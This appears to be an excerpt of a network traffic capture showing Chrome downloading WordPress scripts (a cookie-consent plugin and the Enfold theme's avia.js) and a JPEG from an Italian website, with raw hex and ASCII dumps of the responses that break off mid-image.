jQuery.migrateMute&&(jQuery.migrateMute=!0),function(t){"use strict";"function"==typeof define&&define.amd?define(["jquery"],function(e){r

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
71	192.168.2.16	49794	89.46.108.67	443	6904	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-09 12:19:24 UTC	431	OUT	GET /wp-content/plugins/cookie-law-info/legacy/public/js/cookie-law-info-public.js?ver=3.0.5 HTTP/1.1 Host: www.cipassoitalia.it Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-09 12:19:24 UTC	277	IN	HTTP/1.1 200 OK Server: aruba-proxy Date: Thu, 09 Jan 2025 12:19:24 GMT Content-Type: text/javascript Content-Length: 34179 Connection: close Last-Modified: Fri, 25 Nov 2022 09:48:11 GMT Accept-Ranges: bytes X-ServerName: webx.aruba.it Alt-Svc: h3=":443"; ma=86400
2025-01-09 12:19:24 UTC	16107	IN	Data Raw: 43 4c 49 5f 41 43 43 45 50 54 5f 43 4f 4f 4b 49 45 5f 4e 41 4d 45 20 3d 20 28 74 79 70 65 6f 66 20 43 4c 49 5f 41 43 43 45 50 54 5f 43 4f 4f 4b 49 45 5f 4e 41 4d 45 20 21 3d 3d 20 27 75 6e 64 65 66 69 6e 65 64 27 20 3f 20 43 4c 49 5f 41 43 43 45 50 54 5f 43 4f 4f 4b 49 45 5f 4e 41 4d 45 20 3a 20 27 76 69 65 77 65 64 5f 63 6f 6f 6b 69 65 5f 70 6f 6c 69 63 79 27 29 3b 0a 43 4c 49 5f 50 52 45 46 45 52 4e 43 45 5f 43 4f 4f 4b 49 45 20 3d 20 28 74 79 70 65 6f 66 20 43 4c 49 5f 50 52 45 46 45 52 4e 43 45 5f 43 4f 4f 4b 49 45 20 21 3d 3d 20 27 75 6e 64 65 66 69 6e 65 64 27 20 3f 20 43 4c 49 5f 50 52 45 46 45 52 4e 43 45 5f 43 4f 4f 4b 49 45 20 3a 20 27 43 6f 6f 6b 69 65 4c 61 77 49 6e 66 6f 43 6f 6e 73 65 6e 74 27 29 3b 0a 43 4c 49 5f 41 43 43 45 50 54 5f 43 4f Data Ascii: CLI_ACCEPT_COOKIE_NAME = (typeof CLI_ACCEPT_COOKIE_NAME !== 'undefined' ? CLI_ACCEPT_COOKIE_NAME : 'viewed_cookie_policy');CLI_PREFERNCE_COOKIE = (typeof CLI_PREFERNCE_COOKIE !== 'undefined' ? CLI_PREFERNCE_COOKIE : 'CookieLawInfoConsent');CLI_ACCEPT_CO
2025-01-09 12:19:24 UTC	16384	IN	Data Raw: 09 09 7d 20 65 6c 73 65 20 69 66 20 28 74 68 69 73 2e 73 65 74 74 69 6e 67 73 2e 63 6f 6f 6b 69 65 5f 62 61 72 5f 61 73 20 3d 3d 20 27 77 69 64 67 65 74 27 29 20 7b 0a 09 09 09 74 68 69 73 2e 73 68 6f 77 61 67 61 69 6e 5f 63 6f 6e 66 69 67 2e 62 6f 74 74 6f 6d 20 3d 20 30 3b 0a 09 09 09 69 66 20 28 74 68 69 73 2e 73 65 74 74 69 6e 67 73 2e 77 69 64 67 65 74 5f 70 6f 73 69 74 69 6f 6e 20 3d 3d 20 27 6c 65 66 74 27 29 20 7b 0a 09 09 09 09 74 68 69 73 2e 73 68 6f 77 61 67 61 69 6e 5f 63 6f 6e 66 69 67 2e 6c 65 66 74 20 3d 20 73 68 6f 77 61 67 61 69 6e 5f 78 5f 70 6f 73 3b 0a 09 09 09 7d 20 65 6c 73 65 20 69 66 20 28 74 68 69 73 2e 73 65 74 74 69 6e 67 73 2e 77 69 64 67 65 74 5f 70 6f 73 69 74 69 6f 6e 20 3d 3d 20 27 72 69 67 68 74 27 29 20 7b 0a 09 09 09 09 Data Ascii: } else if (this.settings.cookie_bar_as == 'widget') {this.showagain_config.bottom = 0;if (this.settings.widget_position == 'left') {this.showagain_config.left = showagain_x_pos;} else if (this.settings.widget_position == 'right') {
2025-01-09 12:19:24 UTC	1688	IN	Data Raw: 70 74 2e 74 79 70 65 20 21 3d 20 73 2e 74 79 70 65 29 20 7b 0a 09 09 09 09 09 69 66 20 28 65 6c 65 6d 65 6e 74 50 6f 73 69 74 69 6f 6e 20 3d 3d 3d 20 27 68 65 61 64 27 29 20 7b 0a 09 09 09 09 09 09 64 6f 63 75 6d 65 6e 74 2e 68 65 61 64 2e 61 70 70 65 6e 64 43 68 69 6c 64 28 73 29 3b 0a 09 09 09 09 09 7d 20 65 6c 73 65 20 7b 0a 09 09 09 09 09 09 64 6f 63 75 6d 65 6e 74 2e 62 6f 64 79 2e 61 70 70 65 6e 64 43 68 69 6c 64 28 73 29 3b 0a 09 09 09 09 09 7d 0a 09 09 09 09 09 69 66 20 28 21 24 73 63 72 69 70 74 2e 73 72 63 29 20 7b 0a 09 09 09 09 09 09 63 61 6c 6c 62 61 63 6b 28 29 0a 09 09 09 09 09 7d 0a 09 09 09 09 09 24 73 63 72 69 70 74 2e 70 61 72 65 6e 74 4e 6f 64 65 2e 72 65 6d 6f 76 65 43 68 69 6c 64 28 24 73 63 72 69 70 74 29 3b 0a 0a 09 09 09 09 7d 20 Data Ascii: pt.type != s.type) {if (elementPosition === 'head') {document.head.appendChild(s);} else {document.body.appendChild(s);}if (!$script.src) {callback()}$script.parentNode.removeChild($script);}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
72	192.168.2.16	49792	89.46.108.67	443	6904	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-09 12:19:24 UTC	568	OUT	GET /wp-content/themes/enfold/js/avia.js?ver=4.5 HTTP/1.1 Host: www.cipassoitalia.it Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://www.cipassoitalia.it/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-09 12:19:24 UTC	277	IN	HTTP/1.1 200 OK Server: aruba-proxy Date: Thu, 09 Jan 2025 12:19:24 GMT Content-Type: text/javascript Content-Length: 70105 Connection: close Last-Modified: Mon, 18 Mar 2019 15:17:10 GMT Accept-Ranges: bytes X-ServerName: webx.aruba.it Alt-Svc: h3=":443"; ma=86400
2025-01-09 12:19:24 UTC	16107	IN	Data Raw: 28 66 75 6e 63 74 69 6f 6e 28 24 29 0a 7b 09 0a 20 20 20 20 22 75 73 65 20 73 74 72 69 63 74 22 3b 0a 09 0a 20 20 20 20 24 28 64 6f 63 75 6d 65 6e 74 29 2e 72 65 61 64 79 28 66 75 6e 63 74 69 6f 6e 28 29 0a 20 20 20 20 7b 09 20 20 20 20 0a 20 20 20 20 20 20 20 20 76 61 72 20 61 76 69 61 62 6f 64 79 63 6c 61 73 73 65 73 20 3d 20 41 76 69 61 42 72 6f 77 73 65 72 44 65 74 65 63 74 69 6f 6e 28 27 68 74 6d 6c 27 29 3b 0a 0a 09 09 24 2e 61 76 69 61 5f 75 74 69 6c 69 74 69 65 73 20 3d 20 24 2e 61 76 69 61 5f 75 74 69 6c 69 74 69 65 73 20 7c 7c 20 7b 7d 3b 0a 09 09 69 66 28 20 2f 41 6e 64 72 6f 69 64 7c 77 65 62 4f 53 7c 69 50 68 6f 6e 65 7c 69 50 61 64 7c 69 50 6f 64 7c 42 6c 61 63 6b 42 65 72 72 79 7c 49 45 4d 6f 62 69 6c 65 7c 4f 70 65 72 61 20 4d 69 6e 69 2f Data Ascii: (function($){ "use strict"; $(document).ready(function() { var aviabodyclasses = AviaBrowserDetection('html');$.avia_utilities = $.avia_utilities \|\| {};if( /Android\|webOS\|iPhone\|iPad\|iPod\|BlackBerry\|IEMobile\|Opera Mini/
2025-01-09 12:19:24 UTC	16384	IN	Data Raw: 20 09 24 2e 41 76 69 61 56 69 64 65 6f 41 50 49 2e 70 6c 61 79 65 72 73 5b 20 66 76 2e 61 74 74 72 28 27 69 64 27 29 2e 72 65 70 6c 61 63 65 28 2f 5f 68 74 6d 6c 35 2f 2c 27 27 29 20 5d 20 3d 20 69 6e 73 74 61 6e 63 65 3b 0a 20 20 20 20 20 20 20 20 20 09 0a 09 09 09 09 73 65 74 54 69 6d 65 6f 75 74 28 66 75 6e 63 74 69 6f 6e 28 29 0a 09 09 09 09 7b 0a 09 09 09 09 09 69 66 20 28 6d 65 64 69 61 45 6c 65 6d 65 6e 74 2e 70 6c 75 67 69 6e 54 79 70 65 20 3d 3d 20 27 66 6c 61 73 68 27 29 20 0a 09 09 09 09 09 7b 09 0a 09 09 09 09 09 09 6d 65 64 69 61 45 6c 65 6d 65 6e 74 2e 61 64 64 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 28 27 63 61 6e 70 6c 61 79 27 2c 20 66 75 6e 63 74 69 6f 6e 28 29 20 7b 20 66 76 2e 74 72 69 67 67 65 72 28 27 61 76 2d 6d 65 64 69 61 6a 73 2d Data Ascii: $.AviaVideoAPI.players[ fv.attr('id').replace(/_html5/,'') ] = instance; setTimeout(function(){if (mediaElement.pluginType == 'flash') {mediaElement.addEventListener('canplay', function() { fv.trigger('av-mediajs-
2025-01-09 12:19:24 UTC	16384	IN	Data Raw: 67 65 2d 69 74 65 6d 2d 27 29 20 3e 3d 20 30 20 29 0a 09 09 09 09 09 09 09 09 09 09 7b 0a 09 09 09 09 09 09 09 09 09 09 09 6e 65 77 5f 6c 69 2e 61 64 64 43 6c 61 73 73 28 76 61 6c 75 65 29 3b 0a 09 09 09 09 09 09 09 09 09 09 09 72 65 74 75 72 6e 20 66 61 6c 73 65 3b 0a 09 09 09 09 09 09 09 09 09 09 7d 0a 09 09 09 09 09 09 09 09 7d 29 3b 0a 09 09 09 09 09 7d 0a 09 09 09 09 09 0a 09 09 09 09 09 61 70 70 65 6e 64 5f 74 6f 2e 61 70 70 65 6e 64 28 6e 65 77 5f 6c 69 29 3b 0a 09 09 09 09 09 0a 09 09 09 09 09 69 66 28 73 75 62 69 74 65 6d 73 2e 6c 65 6e 67 74 68 29 0a 09 09 09 09 09 7b 0a 09 09 09 09 09 09 6e 65 77 5f 75 6c 20 3d 20 24 28 27 3c 75 6c 20 63 6c 61 73 73 3d 22 73 75 62 2d 6d 65 6e 75 22 3e 27 29 2e 61 70 70 65 6e 64 54 6f 28 6e 65 77 5f 6c 69 29 3b Data Ascii: ge-item-') >= 0 ){new_li.addClass(value);return false;}});}append_to.append(new_li);if(subitems.length){new_ul = $('<ul class="sub-menu">').appendTo(new_li);
2025-01-09 12:19:24 UTC	16384	IN	Data Raw: 6f 72 6d 2e 61 74 74 72 28 27 64 61 74 61 2d 72 65 73 75 6c 74 73 5f 73 74 79 6c 65 27 29 29 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 72 65 73 75 6c 74 73 5f 63 73 73 20 3d 20 4f 62 6a 65 63 74 2e 61 73 73 69 67 6e 28 72 65 73 75 6c 74 73 5f 63 73 73 2c 20 72 65 73 75 6c 74 73 5f 73 74 79 6c 65 29 3b 0a 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 2f 2f 20 61 64 64 20 63 6c 61 73 73 20 69 66 20 66 6f 6e 74 20 63 6f 6c 6f 72 20 69 73 20 61 70 70 6c 69 65 64 2c 20 73 6f 20 77 65 20 63 61 6e 20 75 73 65 20 63 6f 6c 6f 72 3a 20 69 6e 68 65 72 69 74 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 69 66 20 28 22 63 6f 6c 6f 72 22 20 69 6e 20 72 65 73 75 6c 74 73 5f 63 73 73 29 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii: orm.attr('data-results_style')); results_css = Object.assign(results_css, results_style); // add class if font color is applied, so we can use color: inherit if ("color" in results_css) {
2025-01-09 12:19:24 UTC	4846	IN	Data Raw: 66 20 64 3f 64 3d 64 2e 61 70 70 6c 79 28 63 29 3a 22 73 74 72 69 6e 67 22 3d 3d 74 79 70 65 6f 66 20 64 26 26 28 64 3d 70 61 72 73 65 46 6c 6f 61 74 28 64 29 2c 63 2e 6f 70 74 69 6f 6e 73 2e 6f 66 66 73 65 74 2e 69 6e 64 65 78 4f 66 28 22 25 22 29 3e 2d 31 26 26 28 64 3d 4d 61 74 68 2e 63 65 69 6c 28 72 2e 63 6f 6e 74 65 78 74 44 69 6d 65 6e 73 69 6f 6e 2a 64 2f 31 30 30 29 29 29 2c 61 3d 72 2e 63 6f 6e 74 65 78 74 53 63 72 6f 6c 6c 2d 72 2e 63 6f 6e 74 65 78 74 4f 66 66 73 65 74 2c 63 2e 74 72 69 67 67 65 72 50 6f 69 6e 74 3d 77 2b 61 2d 64 2c 6c 3d 66 3c 72 2e 6f 6c 64 53 63 72 6f 6c 6c 2c 68 3d 63 2e 74 72 69 67 67 65 72 50 6f 69 6e 74 3e 3d 72 2e 6f 6c 64 53 63 72 6f 6c 6c 2c 70 3d 6c 26 26 68 2c 75 3d 21 6c 26 26 21 68 2c 21 79 26 26 70 3f 28 63 2e Data Ascii: f d?d=d.apply(c):"string"==typeof d&&(d=parseFloat(d),c.options.offset.indexOf("%")>-1&&(d=Math.ceil(r.contextDimension*d/100))),a=r.contextScroll-r.contextOffset,c.triggerPoint=w+a-d,l=f<r.oldScroll,h=c.triggerPoint>=r.oldScroll,p=l&&h,u=!l&&!h,!y&&p?(c.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
73	192.168.2.16	49793	89.46.108.67	443	6904	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-09 12:19:24 UTC	637	OUT	GET /wp-content/uploads/2021/06/CiPASSO-Home-1500x630.jpg HTTP/1.1 Host: www.cipassoitalia.it Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://www.cipassoitalia.it/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-09 12:19:24 UTC	273	IN	HTTP/1.1 200 OK Server: aruba-proxy Date: Thu, 09 Jan 2025 12:19:24 GMT Content-Type: image/jpeg Content-Length: 835036 Connection: close Last-Modified: Sat, 19 Jun 2021 08:45:52 GMT Accept-Ranges: bytes X-ServerName: webx.aruba.it Alt-Svc: h3=":443"; ma=86400
2025-01-09 12:19:24 UTC	16111	IN	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 c0 00 c0 00 00 ff e2 02 64 49 43 43 5f 50 52 4f 46 49 4c 45 00 01 01 00 00 02 54 6c 63 6d 73 04 30 00 00 6d 6e 74 72 52 47 42 20 58 59 5a 20 07 e5 00 06 00 13 00 08 00 14 00 02 61 63 73 70 4d 53 46 54 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f6 d6 00 01 00 00 00 00 d3 2d 6c 63 6d 73 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0b 64 65 73 63 00 00 01 08 00 00 00 3e 63 70 72 74 00 00 01 48 00 00 00 4c 77 74 70 74 00 00 01 94 00 00 00 14 63 68 61 64 00 00 01 a8 00 00 00 2c 72 58 59 5a 00 00 01 d4 00 00 00 14 62 58 59 5a 00 00 01 e8 00 00 00 14 67 58 59 5a 00 00 01 fc 00 00 00 14 72 Data Ascii: JFIFdICC_PROFILETlcms0mntrRGB XYZ acspMSFT-lcmsdesc>cprtHLwtptchad,rXYZbXYZgXYZr
2025-01-09 12:19:24 UTC	16384	IN	Data Raw: d7 76 2f af 3f 05 be 83 fc 58 68 d2 c7 83 de 1a 06 a5 d9 d9 da a6 7e 10 92 07 58 f5 5d 47 0f 46 ee 0d 39 66 b1 2f c8 1a a0 59 82 35 ac 6e 5d 95 43 2d f5 83 97 28 ca 4c f9 53 82 54 b4 49 c4 a1 40 80 41 12 e5 95 4b 24 6a a2 47 89 4f 99 41 21 d9 88 8c 6f 0b c6 cf e1 7c 45 66 42 cc a2 91 39 04 87 b0 cb 91 44 3e 52 a4 82 58 90 59 cd 18 c5 88 f8 f3 f8 d6 f5 af e1 83 b7 bd 1f 3d 9b df fa e6 91 89 dd 38 19 cb 9d b7 2b e6 09 57 03 07 4c 95 16 36 c8 49 a4 8d 54 64 bd 08 8a 11 62 a8 8e 63 60 f0 bc 5a 6a d5 87 95 c5 f8 a4 a9 46 42 16 99 28 c6 cd 09 40 28 04 25 01 ce 54 87 a2 6a c1 87 4d 37 66 d7 81 c7 e3 71 73 f1 dc 37 01 8e 52 24 19 ea 5e 27 0c 89 81 4b ef 00 25 62 89 57 86 84 b5 cd 5c c7 2f 3d 11 f8 ac ef 7f 88 ff 00 8c 6f 47 87 75 f7 36 b9 dc 12 ae a5 97 27 cc d5 Data Ascii: v/?Xh~X]GF9f/Y5n]C-(LSTI@AK$jGOA!o\|EfB9D>RXY=8+WL6ITdbc`ZjFB(@(%TjM7fqs7R$^'K%bW\/=oGu6'
2025-01-09 12:19:24 UTC	16384	IN	Data Raw: 2a 9c 46 12 7a 8c dc c9 62 5b b8 59 ee 16 0b 29 04 04 b5 61 e5 96 f4 d4 08 b2 3c 7e df f7 fd 7d 8f 5e 9e 89 49 52 07 fc 85 74 17 03 ab 12 db f5 bc 61 8d 49 ea 63 91 7f c5 cf e1 62 0f 5f 7e 1f 9f bf f4 0d 1a 3d 47 d4 3f 45 a6 6e ef d2 62 84 34 59 ba d6 85 88 3e 76 b7 a0 8c a8 50 e4 44 92 e2 c5 34 ca 63 12 3a 83 31 54 6d c1 7a f3 bf 88 fd 9f c3 f1 5e 14 71 13 24 85 af 0a 14 8c 42 12 d9 f1 38 1c 40 c8 b9 4c 0b e6 91 30 27 12 95 59 09 96 b7 da 3d b7 e0 97 6c e7 f0 1e 39 89 e0 0b c5 ab 0b 83 ed 14 b4 23 0f 3e 62 89 95 c3 f8 cc 89 89 1c 3f 1e 84 87 ca 84 a9 7d d6 22 dd e2 16 01 70 23 f3 3b f8 d4 d7 65 ee 6f 5b 75 bd 61 74 59 fb 7b 15 f1 30 71 70 b4 ac 89 df 25 b0 a2 c2 59 61 6c 4f c5 48 a8 f3 bc 12 1f 94 f2 ba 2b b9 1f 31 95 6f aa af 87 7c 16 5f 06 e0 12 f0 72 Data Ascii: *Fzb[Y)a<~}^IRtaIcb_~=G?Enb4Y>vPD4c:1Tmz^q$B8@L0'Y=l9#>b?}"p#;eo[uatY{0qp%YalOH+1o\|_r
2025-01-09 12:19:24 UTC	16384	IN	Data Raw: 9b 6e ec 03 0b 5e 2b ae b8 99 70 e5 49 b9 09 2b 29 60 81 76 33 30 35 f2 90 b1 1c 00 37 06 fb 92 2b 80 7a bd 5a 42 c7 87 e5 6a 6a 48 e6 59 bc ba c1 b0 f3 d2 14 3f e3 40 75 34 f4 e5 4e ba b4 39 bb 57 3f 11 1d 9b 32 65 54 90 05 91 6d 5d a2 28 50 dc a4 15 6e 43 6d fa 6b 90 2a e8 75 4d 88 96 a4 12 4a 49 1a 1f 21 5d af fc b4 68 65 4e ef 12 92 96 21 a8 ff 00 6d 8d bc ee 62 4d cc 8f 4c f9 61 e2 6c 79 f7 81 b5 78 41 1e e8 f7 06 0d 61 a9 8f 2a 14 03 c1 e7 9e aa d4 19 26 a4 28 07 36 66 af 27 ae f4 ad 9a 25 21 65 c2 72 96 51 6a f3 b0 f9 9c 07 df 58 13 43 d3 8e a4 62 c3 55 8c 32 c9 4d 37 91 f5 b8 5b 20 86 b5 50 4d d9 e1 45 d7 3c 74 ad 52 d4 80 92 5f 2b f9 94 a8 74 03 5b 33 b1 e8 1c 71 fd 3c b2 b2 b7 52 8a 40 4e 81 24 82 5b a3 80 fa bb 06 a1 8f 43 9f 09 5d bd a4 e9 3f Data Ascii: n^+pI+)`v3057+zZBjjHY?@u4N9W?2eTm](PnCmkuMJI!]heN!mbMLalyxAa&(6f'%!erQjXCbU2M7[ PME<tR_+t[3q<R@N$[C]?
2025-01-09 12:19:24 UTC	16384	IN	Data Raw: 08 69 42 fd cf 27 81 cd 9f 39 fc 56 03 bd 5b 91 e1 20 ea 1f ca a4 f2 f6 f0 14 99 89 51 0a 0d 52 34 2d 5e a6 9e ad 48 53 6e e3 54 76 70 58 ac 81 54 b5 02 19 15 54 31 dc 1d 48 ae 7d ac 9f 02 89 ba d9 9c 38 65 4a 4a 7a 87 0e 1b ad 3a 8d 29 12 11 35 ae 7a f3 fa 16 e7 bf d9 d7 85 dd d0 32 fc a6 7f e4 34 6a 4b c8 db 95 99 54 7d 00 ef 70 0b 02 2e f6 91 e0 fb f5 05 5c 31 94 02 68 49 d4 8d dd b4 f3 2c 44 10 ce 4a 81 04 9b 16 b9 bf 94 32 75 3e e0 93 22 76 30 ba 32 86 93 6b 8b a0 a0 8f a1 bd 85 0a 00 37 9f 23 82 0f 57 58 7c 1a 65 4b 01 47 fb 2b 5b 6b e7 00 70 56 1b 6d 8f 38 90 3b 6f 51 df 0c 2f 23 59 0d 76 2d ad 65 ae 38 b1 5e e4 0e 00 f6 e3 aa 5c 73 49 70 28 e5 4e 6a 5b 50 74 1a d0 6e dd 22 c6 54 92 40 2d 42 1c d5 d9 b5 bf 58 77 e7 cb 0e 54 60 6e 2e 59 d8 0b 5a 57 Data Ascii: iB'9V[ QR4-^HSnTvpXTT1H}8eJJz:)5z24jKT}p.\1hI,DJ2u>"v02k7#WX\|eKG+[kpVm8;oQ/#Yv-e8^\sIp(Nj[Ptn"T@-BXwT`n.YZW
2025-01-09 12:19:24 UTC	16384	IN	Data Raw: 70 b3 54 8c eb 08 24 f7 41 44 96 d1 95 6a be cc 00 3a c6 67 89 70 d9 45 4a 4f 74 00 24 9c c1 a9 ca da 33 86 be f7 8b 6b a8 c6 33 b0 d3 b8 74 6c a9 30 3b 87 0a 41 95 1c b8 ee 23 98 3c 64 11 91 0b 0b fa c6 c5 0b 56 02 9a 20 f9 e8 93 3b f9 72 ff 00 5b 80 9e ac 36 3f 0f 34 4e 33 65 ab 2a 94 80 29 91 43 c5 6a 1a d4 82 76 6a 8e 15 8d c5 f0 1e 2d 2e 74 b3 de 61 31 09 ee e7 24 82 b4 f7 46 8a 96 b0 e0 04 4d 62 16 18 3a 5f c4 2b 16 7b e1 3f e3 17 d5 4e e4 f5 37 b5 fd 27 ee 5d 7e 3c e7 c9 ce fc 36 ed 46 05 96 6c bd 3a 3b 19 09 f3 09 25 33 11 46 e4 70 ce ac a0 82 17 cf 5e dd f0 77 e2 27 69 78 9f 1d 47 07 e3 3c 45 78 ec 2a c2 52 d8 8f 14 c6 24 24 27 38 29 19 5a 8d 97 cd 8d 3b f1 0b b1 9d 90 e2 dc 0f 8c f1 cc 1f 67 e4 61 a7 a3 01 88 c7 4a 9d c3 47 e9 54 8c 54 89 45 48 Data Ascii: pT$ADj:gpEJOt$3k3tl0;A#<dV ;r[6?4N3e)Cjvj-.ta1$FMb:_+{?N7']~<6Fl:;%3Fp^w'ixG<ExR$$'8)Z;gaJGTTEH
2025-01-09 12:19:25 UTC	16384	IN	Data Raw: c6 9d 54 c4 d9 0e bf 2e 36 51 f5 59 2c 3a f2 ec 6c ae 2f c0 f8 ff 00 18 c6 70 fc 0c d9 b8 44 4b 13 90 80 42 13 89 96 b9 7d ec dc 30 51 56 64 f7 73 d0 92 e4 0f 99 d2 54 d1 f6 0e 01 58 2f 8a 7f 0a 7b 3d 80 e3 d3 70 98 ac 72 f0 d8 89 09 c6 61 a6 cb 5f 11 e1 18 ec 1e 31 28 c2 e2 26 ca 96 55 3b f4 f3 f0 e3 bc 9e 12 85 12 94 a8 10 09 8e c3 fa 0b eb cf 65 7c 4c f6 6e 2f ab dd 8d 9f 8f 97 a5 f7 34 8f 98 31 a3 92 33 91 81 2b 30 46 c2 cb 40 db 92 5c 7d 8a ad b8 8e 49 00 9a 23 af 1d e0 5c 7e 67 6a b8 97 1b e2 58 99 0a e1 fc 57 fd d2 72 e7 70 d5 24 2e 6c a2 12 99 72 e5 2e 65 55 44 a7 32 14 0f 74 b0 a3 95 4a 22 3c ef b6 9d 90 9d d8 21 c2 f8 04 e9 aa c6 70 d9 7c 36 54 ac 27 11 00 99 58 99 65 4a 99 33 11 2d 4c ea cc a5 64 52 47 89 25 3e 24 8d 67 e3 12 33 e3 ff 00 2d 8b Data Ascii: T.6QY,:l/pDKB}0QVdsTX/{=pra_1(&U;e\|Ln/413+0F@\}I#\~gjXWrp$.lr.eUD2tJ"<!p\|6T'XeJ3-LdRG%>$g3-
2025-01-09 12:19:25 UTC	16384	IN	Data Raw: 8b af 3d 30 5c 75 10 a3 e6 20 78 ba fd bf e9 7d 1e 06 b3 a6 c7 f1 fc c6 a4 8d b7 e2 ec 02 7d 88 f2 28 73 cf df da ba 50 d4 a8 25 f9 b4 60 30 55 05 48 3c fb f2 09 f7 e3 a5 1c 51 72 f0 1b 32 9e 78 1c d1 3e 05 dd 7f c6 c7 4a 39 18 06 c9 fc b4 68 58 ff 00 53 f6 1f fc bf 7e 94 28 c5 f9 34 78 ff 00 be 3a 50 a0 0e 94 28 3d a6 29 39 a9 40 1b 1e 49 fb 11 c8 fd 47 07 f5 aa e4 f4 c5 d8 75 fc 18 74 bf fa 83 cb ee 61 d2 f4 69 01 bb e2 fd b8 24 df 16 7f 4f d7 9e 85 13 54 09 04 0d 60 48 d7 6a 8b 20 db 79 a3 55 fe 60 49 02 b8 17 c7 27 fa 74 a1 a9 49 0e ed 1b 30 06 f6 95 6a 27 6a a1 b0 d5 e6 85 9e 7e fc fd ba 50 f8 da 35 6d c2 e8 86 07 e8 e6 ac 8f 37 f7 17 40 57 fc fa 50 a2 5c f4 3c ba fa 87 a4 91 40 91 30 52 45 8b 64 04 6e 17 54 03 57 9f bf b7 4c 5a 48 93 39 45 88 52 6d Data Ascii: =0\u x}}(sP%`0UH<Qr2x>J9hXS~(4x:P(=)9@IGutai$OT`Hj yU`I'tI0j'j~P5m7@WP\<@0REdnTWLZH9ERm
2025-01-09 12:19:25 UTC	16384	IN	Data Raw: 9e 3f 29 b8 de 26 46 37 b4 dc 53 1b 84 98 26 61 71 38 fc 44 ec 3c c4 f7 80 2d 2b 9c 4e 71 de 00 58 f2 a5 77 8b b7 db 90 33 69 18 bb 64 2e 02 a3 16 54 b2 ac 76 28 b5 5f ab 82 48 fb 91 f6 b1 d5 7c c2 73 aa a6 fa 1e 43 d9 8b ac ab 5c b4 92 4b 91 43 ad db e8 18 1b 50 1a c4 47 ea 06 a9 89 a7 6b fa 5c ba ae 60 c7 c2 83 52 43 be 60 55 55 23 82 c9 a3 66 96 89 ae 7f 6e 87 c4 12 a9 d2 25 4b 96 92 56 99 0b ca 13 75 2b 29 61 c9 e9 56 04 53 61 1e a7 f0 2f b4 3c 03 b3 1f 10 70 bc 4f b4 3c 4a 47 0a c0 a2 5a 56 67 e2 94 12 81 91 68 24 a9 45 b2 a4 33 bb 52 ac f6 33 cf c4 97 af 1d b5 dd 9d ab 83 da fa 1f a8 52 ea ba 16 36 83 db ed 87 a2 8c cc b3 a6 c5 9b 0e 1c 10 ca d1 62 4d 14 31 06 59 37 90 22 0d 1a b3 bb 2d 16 6a f2 ce c5 f6 73 1f 81 c4 4f c4 e3 30 5d d4 f4 63 27 94 4e Data Ascii: ?)&F7S&aq8D<-+NqXw3id.Tv(_H\|sC\KCPGk\`RC`UU#fn%KVu+)aVSa/<pO<JGZVgh$E3R3R6bM1Y7"-jsO0]c'N
2025-01-09 12:19:25 UTC	16384	IN	Data Raw: bc 6e 0a 0c 60 79 36 3a 8b 30 82 0b 29 88 07 7f d9 bc ff 00 c8 32 12 80 f9 f5 d5 a8 06 fc f5 d0 42 97 c8 42 26 36 76 ef 60 05 16 fa 94 8b 5a da 18 10 68 ee 22 8d 11 7e fd 47 50 19 41 70 4b d4 83 ef 97 48 7a 47 8c e5 24 8c ae e6 a2 e2 9d 75 b8 b5 8d e1 07 39 3e 73 9f 9b 23 29 50 55 9d e3 20 2a 03 4b e0 03 c8 e0 10 3c f9 e8 c0 3e a0 75 f7 ef 94 3c ab 28 f1 1a f2 db e9 05 74 dc 64 96 67 7d ea ee 18 08 ca f0 c8 b1 d0 04 9f a8 28 a7 37 63 cd 71 d7 54 42 52 05 da ae 2b a9 14 84 8f 1a b3 0b 1a 07 bb d2 2c af 60 e9 e3 6c 26 ad 5f 82 16 26 62 76 95 01 de ac 78 f1 ed c9 3d 67 b1 eb 4d f4 19 8b 72 05 fe df 9d 62 76 5c b2 c0 1a 01 60 2b f8 f3 e5 16 c3 b5 fb 6c 49 3c 32 0f ae 46 43 f4 ec fe 55 ee dd 18 70 bc ad 42 41 1c 1e 78 